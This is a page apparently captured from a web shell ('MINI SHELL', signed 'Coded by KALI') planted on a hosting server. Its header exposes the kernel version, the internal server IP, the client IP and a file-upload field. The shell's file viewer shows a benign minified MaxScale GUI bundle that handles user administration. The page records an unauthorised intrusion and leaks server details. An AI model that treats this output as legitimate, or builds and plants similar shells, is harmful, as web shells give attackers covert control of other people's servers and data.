~ K    A     L    I ~
UNAME : Linux web65.extendcp.co.uk 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
SERVER IP : 10.0.187.65 -________- CLIENT IP : 216.73.216.230
PATH :/usr/share/maxscale/gui/js/
UP FILE :
MINI SHELL D ZAB '
Current File : //usr/share/maxscale/gui/js/users~368a3cdd.49958640.js
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["users~368a3cdd"],{"413f":function(e,t,s){"use strict";s("f3d9")},f3d9:function(e,t,s){},fa88:function(e,t,s){"use strict";s.r(t);var r=function(){var e=this,t=e.$createElement,s=e._self._c||t;return s("page-wrapper",{staticClass:"fill-height"},[s("portal",{attrs:{to:"page-header"}},[s("div",{staticClass:"d-flex align-center"},[s("div",{staticClass:"d-inline-flex align-center"},[s("h4",{staticClass:"mb-0 mxs-color-helper text-navigation text-h4 text-capitalize",staticStyle:{"line-height":"normal"}},[e._v(" "+e._s(e.$route.name)+" ")])])])]),s("portal",{attrs:{to:"page-header--right"}},[s("div",{staticClass:"d-flex align-center"},[s("global-search"),e.isAdmin?s("v-btn",{staticClass:"ml-4 text-capitalize px-8 font-weight-medium",attrs:{width:"160",outlined:"",height:"36",rounded:"",depressed:"",small:"",color:"accent-dark"},on:{click:function(t){return e.actionHandler({type:e.USER_ADMIN_ACTIONS.ADD})}}},[e._v(" + "+e._s(e.userAdminActions[e.USER_ADMIN_ACTIONS.ADD].text)+" ")]):e._e()],1)]),s("v-sheet",{staticClass:"d-flex flex-column fill-height mt-12"},[s("div",{ref:"tableWrapper",staticClass:"fill-height"},[s("data-table",{attrs:{headers:e.tableHeaders,data:e.tableRows,search:e.search_keyword,sortBy:"id",showActionsOnHover:"",showAll:"",height:e.tableHeight,fixedHeader:""},scopedSlots:e._u([e.isAdmin?{key:"actions",fn:function(t){var r=t.data.item;return e._l([e.userAdminActions[e.USER_ADMIN_ACTIONS.UPDATE]].concat(e.isLoggedInUser(r)?[]:[e.userAdminActions[e.USER_ADMIN_ACTIONS.DELETE]]),(function(t){return s("mxs-tooltip-btn",{key:t.text,attrs:{icon:""},on:{click:function(s){return e.actionHandler({type:t.type,user:r})}},scopedSlots:e._u([{key:"btn-content",fn:function(){return[s("v-icon",{attrs:{size:"18",color:t.color}},[e._v(" "+e._s(t.icon)+" ")])]},proxy:!0}],null,!0)},[e._v(" "+e._s(t.text)+" ")])}))}}:null,e._l(e.tableHeaders,(function(t){return{key:""+t.value,fn:function(r){var i=r.data.item;return[s("span",{directives:[{name:"mxs-highlighter",rawName:"v-mxs-highlighter",value:{keyword:e.search_keyword,txt:i[t.value]},expression:"{ keyword: search_keyword, txt: item[h.value] }"}],key:t.value,class:{"font-weight-bold":e.isLoggedInUser(i)}},[e._v(" "+e._s(i[t.value])+" ")])]}}}))],null,!0)})],1),s("user-dialog",{attrs:{title:e.userDlg.title,type:e.userDlg.type,user:e.userDlg.user,onSave:e.confirmSave},on:{"update:user":function(t){return e.$set(e.userDlg,"user",t)}},model:{value:e.userDlg.isOpened,callback:function(t){e.$set(e.userDlg,"isOpened",t)},expression:"userDlg.isOpened"}})],1)],1)},i=[],a=(s("ddb0"),s("2f62")),l=function(){var e=this,t=e.$createElement,s=e._self._c||t;return s("mxs-dlg",e._g(e._b({attrs:{saveText:e.type},scopedSlots:e._u([{key:"form-body",fn:function(){return[e.type===e.USER_ADMIN_ACTIONS.DELETE?s("p",{staticClass:"confirmations-text",domProps:{innerHTML:e._s(e.$mxs_t("confirmations."+e.USER_ADMIN_ACTIONS.DELETE,{targetId:e.currUser.id}))}}):e._e(),e.type===e.USER_ADMIN_ACTIONS.UPDATE?s("div",{staticClass:"d-flex align-center mb-2"},[s("v-icon",{staticClass:"mr-1",attrs:{size:"20"}},[e._v("$vuetify.icons.mxs_user ")]),s("span",[e._v(e._s(e.currUser.id))])],1):e._e(),e.type===e.USER_ADMIN_ACTIONS.UPDATE||e.type===e.USER_ADMIN_ACTIONS.ADD?[e.type===e.USER_ADMIN_ACTIONS.UPDATE?s("input",{attrs:{hidden:"",name:"username",autocomplete:"username"},domProps:{value:e.currUser.id}}):e._e(),e.type===e.USER_ADMIN_ACTIONS.ADD?s("v-text-field",{staticClass:"vuetify-input--override error--text__bottom mb-4",attrs:{rules:e.rule(e.$mxs_t("username")),autofocus:"",dense:"",height:36,"single-line":"",outlined:"",required:"",autocomplete:"username",placeholder:e.$mxs_t("username"),"hide-details":"auto"},model:{value:e.currUser.id,callback:function(t){e.$set(e.currUser,"id",t)},expression:"currUser.id"}}):e._e(),e.type===e.USER_ADMIN_ACTIONS.UPDATE?s("label",{staticClass:"field__label mxs-color-helper text-small-text label-required"},[e._v(" "+e._s(e.$mxs_t("newPass"))+" ")]):e._e(),s("v-text-field",{staticClass:"vuetify-input--override vuetify-input--override-password error--text__bottom",attrs:{rules:e.rule(e.$mxs_t("password")),type:e.isPwdVisible?"text":"password",autocomplete:"new-password",autofocus:e.type===e.USER_ADMIN_ACTIONS.UPDATE,"single-line":"",dense:"",height:36,outlined:"",required:"",placeholder:e.$mxs_t(e.type===e.USER_ADMIN_ACTIONS.ADD?"password":""),"hide-details":"auto"},model:{value:e.currUser.password,callback:function(t){e.$set(e.currUser,"password",t)},expression:"currUser.password"}},[s("v-icon",{attrs:{slot:"append",size:"20"},on:{click:function(t){e.isPwdVisible=!e.isPwdVisible}},slot:"append"},[e._v(" "+e._s(e.isPwdVisible?"mdi-eye-off":"mdi-eye")+" ")])],1),e.type===e.USER_ADMIN_ACTIONS.ADD?[s("v-select",{staticClass:"vuetify-input--override mariadb-select-input error--text__bottom mt-4",attrs:{items:Object.values(e.USER_ROLES),outlined:"","menu-props":{contentClass:"mariadb-select-v-menu",bottom:!0,offsetY:!0},dense:"",height:36,"hide-details":"auto",placeholder:e.$mxs_t("role"),rules:e.rule(e.$mxs_t("role"))},model:{value:e.currUser.role,callback:function(t){e.$set(e.currUser,"role",t)},expression:"currUser.role"}})]:e._e()]:e._e()]},proxy:!0}])},"mxs-dlg",Object.assign({},e.$attrs),!1),e.$listeners))},n=[],o={name:"user-dialog",inheritAttrs:!1,props:{type:{type:String,required:!0},user:{type:Object,default:null}},data(){return{isPwdVisible:!1}},computed:{...Object(a["e"])({USER_ROLES:e=>e.app_config.USER_ROLES,USER_ADMIN_ACTIONS:e=>e.app_config.USER_ADMIN_ACTIONS}),currUser:{get(){return this.user},set(e){this.$emit("update:user",e)}}},methods:{rule(e){return[t=>!!t||this.$mxs_t("errors.requiredInput",{inputName:e})]}}},u=o,d=s("2877"),c=s("6544"),p=s.n(c),_=s("132d"),m=s("b974"),h=s("8654"),g=Object(d["a"])(u,l,n,!1,null,null,null),f=g.exports;p()(g,{VIcon:_["a"],VSelect:m["a"],VTextField:h["a"]});var A={components:{"user-dialog":f},data(){return{tableHeaders:[{text:"Username",value:"id"},{text:"Role",value:"role"},{text:"Type",value:"type"},{text:"Created",value:"created"},{text:"Last Updated",value:"last_update"},{text:"Last Login",value:"last_login"}],tableHeight:0,userDlg:{isOpened:!1,title:"",type:"",user:{id:"",password:"",role:""}}}},computed:{...Object(a["e"])({search_keyword:"search_keyword",all_inet_users:e=>e.user.all_inet_users,USER_ADMIN_ACTIONS:e=>e.app_config.USER_ADMIN_ACTIONS,logged_in_user:e=>e.user.logged_in_user}),...Object(a["c"])({getUserAdminActions:"user/getUserAdminActions",isAdmin:"user/isAdmin"}),tableRows(){let e=[];for(const t of this.all_inet_users){const{id:s,type:r,attributes:{account:i,created:a,last_update:l,last_login:n}={}}=t;e.push({id:s,role:i,type:r,created:a?this.$helpers.dateFormat({moment:this.$moment,value:a}):"",last_update:l?this.$helpers.dateFormat({moment:this.$moment,value:l}):"",last_login:n?this.$helpers.dateFormat({moment:this.$moment,value:n}):""})}return e},userAdminActions(){return this.getUserAdminActions({scope:this})}},watch:{"userDlg.isOpened"(e){e||(this.userDlg=this.$options.data().userDlg)}},async created(){this.setTableHeight(),await this.fetchAllNetworkUsers()},methods:{...Object(a["b"])({fetchAllNetworkUsers:"user/fetchAllNetworkUsers",manageInetUser:"user/manageInetUser"}),isLoggedInUser(e){return this.$typy(this.logged_in_user,"name").safeString===e.id},setTableHeight(){this.$nextTick(()=>{const e=this.$typy(this.$refs,"tableWrapper.clientHeight").safeNumber;e&&(this.tableHeight=e-4)})},actionHandler({type:e,user:t}){this.userDlg={isOpened:!0,type:e,title:this.$mxs_t("userOps.actions."+e),user:{...this.userDlg.user,...t}}},async confirmSave(){await this.manageInetUser({mode:this.userDlg.type,...this.userDlg.user,callback:this.fetchAllNetworkUsers})}}},v=A,x=(s("413f"),s("8336")),y=s("8dd9"),b=Object(d["a"])(v,r,i,!1,null,"1ed5fd2c",null);t["default"]=b.exports;p()(b,{VBtn:x["a"],VIcon:_["a"],VSheet:y["a"]})}}]);
Coded by KALI :v Greetz to DR HARD ../ kali.zbi@hotmail.com